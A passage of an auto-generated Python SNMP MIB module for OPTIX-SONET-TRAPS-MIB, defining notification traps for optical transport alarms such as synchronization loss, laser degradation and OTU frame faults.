"rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLossOfAllSynchronousSource.setStatus('current') evtSynchronousSourceDegrade = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 101)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSynchronousSourceDegrade.setStatus('current') evtSyncLOS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 111)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSyncLOS.setStatus('current') evtProtectionSwitching = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 120)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtProtectionSwitching.setStatus('current') evtDbmsError = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 185)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtDbmsError.setStatus('current') evtLossOfMultiplexSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 186)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLossOfMultiplexSignal.setStatus('current') evtLossOfSingleWavelengthSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 187)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLossOfSingleWavelengthSignal.setStatus('current') evtAdditionOfSingleWavelengthSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 188)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtAdditionOfSingleWavelengthSignal.setStatus('current') evtLaserDegraded = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 189)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLaserDegraded.setStatus('current') evtPumpDiodeCoolingCurrentHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 192)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPumpDiodeCoolingCurrentHigh.setStatus('current') evtS1ModeSynChange = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 193)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtS1ModeSynChange.setStatus('current') evtDbmsIsInProtectMode = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 198)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtDbmsIsInProtectMode.setStatus('current') evtSecuAlarm = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 200)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSecuAlarm.setStatus('current') evtForwardErrorCorrectionLossOfFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 212)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtForwardErrorCorrectionLossOfFrame.setStatus('current') evtForwardErrorCorrectionOutOfFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 213)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtForwardErrorCorrectionOutOfFrame.setStatus('current') evtRateOver = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 223)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRateOver.setStatus('current') evtCardConfigurationFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 232)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtCardConfigurationFail.setStatus('current') evtLoopback = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 240)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopback.setStatus('current') evtCoolingCurrentModeHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 270)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtCoolingCurrentModeHigh.setStatus('current') evtOTULossOfFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 272)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtOTULossOfFrame.setStatus('current') evtOTUOutOfMultiFrame = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 273)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtOTUOutOfMultiFrame.setStatus('current') evtSmTIM = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 274)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSmTIM.setStatus('current') evtPmTIM = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 275)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPmTIM.setStatus('current') evtSmBDI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 276)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSmBDI.setStatus('current') evtPmBDI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 277)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPmBDI.setStatus('current') evtSmBEI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 278)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", 